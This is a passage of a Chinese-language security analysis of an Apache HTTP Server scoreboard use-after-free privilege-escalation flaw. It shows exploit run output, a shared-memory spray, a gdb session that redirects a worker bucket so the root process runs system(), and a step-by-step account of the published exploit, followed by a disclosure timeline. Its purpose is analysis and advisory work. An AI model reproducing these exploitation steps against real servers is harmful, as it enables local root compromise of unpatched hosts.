evil string end addr:0x7f1f62a32278
zend_object_std_dtor function addr:0x7f1f5c03d300
system function addr:0x7f1f617a94c0
child_init(0x7f1f62a32248) => zend_object_std_dtor
pDestructor(0x7f1f62a32210) => system
meth(0x7f1f62a321e8) => mutex_mthods_struct
mutex(0x7f1f62a321b8) => zend_array struct
properties(0x7f1f62a321d8) => zend_array struct
ar_data(0x7f1f62a321f0) => evil string

Spraying the shared memory start

evil_shm_start:0x7f1f62a32278
evil_shm_end:0x7f1f62a4a000
evil_shm_size:17d88
evil_shm_mid_addr:0x7f1f62a3e140
bucket:fe3ec349aa5

此时,共享内存中,已经被我们的恶意数据给填充。

为通过gdb模拟修改bucket指向我们的恶意结构做准备
[root@bogon john]# ps -aux | grep httpd
root      19895  0.0  0.2 285296 10652 ?        Ss   14:27   0:00 /usr/local/httpd//bin/httpd -k start
www       19896  0.0  0.2 287512  9348 ?        S    14:27   0:00 /usr/local/httpd//bin/httpd -k start
www       19897  0.0  0.1 287512  7616 ?        S    14:27   0:00 /usr/local/httpd//bin/httpd -k start
www       19898  0.0  0.1 287512  7616 ?        S    14:27   0:00 /usr/local/httpd//bin/httpd -k start
www       19899  0.0  0.1 287512  7616 ?        S    14:27   0:00 /usr/local/httpd//bin/httpd -k start
www       19900  0.0  0.1 287512  7616 ?        S    14:27   0:00 /usr/local/httpd//bin/httpd -k start
root      20112  0.0  0.0 112708   980 pts/2    R+   14:30   0:00 grep --color=auto httpd
[root@bogon john]# gdb attach 19895
(gdb) break child_main
Breakpoint 1 at 0x46c000: file prefork.c, line 380.
(gdb) set follow-fork-mode child
(gdb) c
执行apachectl graceful,使其优雅重启
[root@bogon john]# apachectl graceful
[root@bogon john]# 
修改my_bucket

我们将my_bucket,设置为0x7f1f62a3e140,该地址是执行恶意PHP代码时,输出的evil_shm_mid_addr

Continuing.

Program received signal SIGUSR1, User defined signal 1.
0x00007f1f612bdf53 in __select_nocancel () from /lib64/libc.so.6
(gdb) c
Continuing.
[New process 20155]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Switching to Thread 0x7f1f62ae9780 (LWP 20155)]

Breakpoint 1, child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=0) at prefork.c:380
380    {
(gdb) set my_bucket = 0x7f1f62a3e140
(gdb) c
Continuing.
[New process 20177]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 20177 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 1: Function "child_main" not defined.
process 20177 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-31.el7.x86_64
[Inferior 3 (process 20177) exited normally]
Missing separate debuginfos, use: debuginfo-install coreutils-8.22-23.el7.x86_64
(gdb) 
查看根目录,发现利用成功
➜  ~ ls /
bin  boot  dev  etc  hello  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  www

0x06 EXP分析

1.在作者提供的Exp中,没有依赖具体的硬编码数值。在get_all_address函数中利用 /proc/self/maps和文件读取的方式定位到了如下shm, system, libaprR, libaprX, apache, zend_object_std_dtor几个函数的地址以及共享内存起始地址。

2.在get_workers_pids中通过枚举/proc//cmdline and /proc//status文件,得到所有worker进程的PID,用于后续在共享内存中定位process_score地址。

3.最终在real函数中,作者通过在共享内存中查找worker process的PID从而定位到每个process_score结构,并利用被UAF漏洞修改过的字符串对内存进行修改。利用内存模式匹配找到all_buckets的起始位置,并复用了 在scoreboard中空闲的servers结构保存生成的payload。最后利用在2步中获取的worker进程id找到所有的process_score,将其中的bucket修改成指定可利用的值。

0x07 时间线

2019-02-22 作者发送漏洞说明和PoC到security[at]apache[dot]org

2019-02-25 确认漏洞,处理修复工作

2019-03-07 Apache安全团队发送补丁给作者进行检查,并给作者分配CVE

2019-03-10 作者同意该补丁

2019-04-01 Apache HTTP版本2.4.39发布

2019-04-03 360-CERT发布预警通告

2019-04-03 作者发布漏洞细节

2019-04-08 作者发布Exp

2019-04-09 360-CERT发布分析报告

0x08 参考链接

  1. apache scoreboard worker_record
  2. Apache中多任务并发处理机制研究(1)
  3. 源码编译安装apache
  4. 学习《apache源代码全景分析》之多任务并发处理摘录
  5. 作者发布的漏洞细节
  6. 在linux下的apache配置https协议,开启ssl连接
  7. PHP编写扩展调用动态so库
  8. 作者发布Exp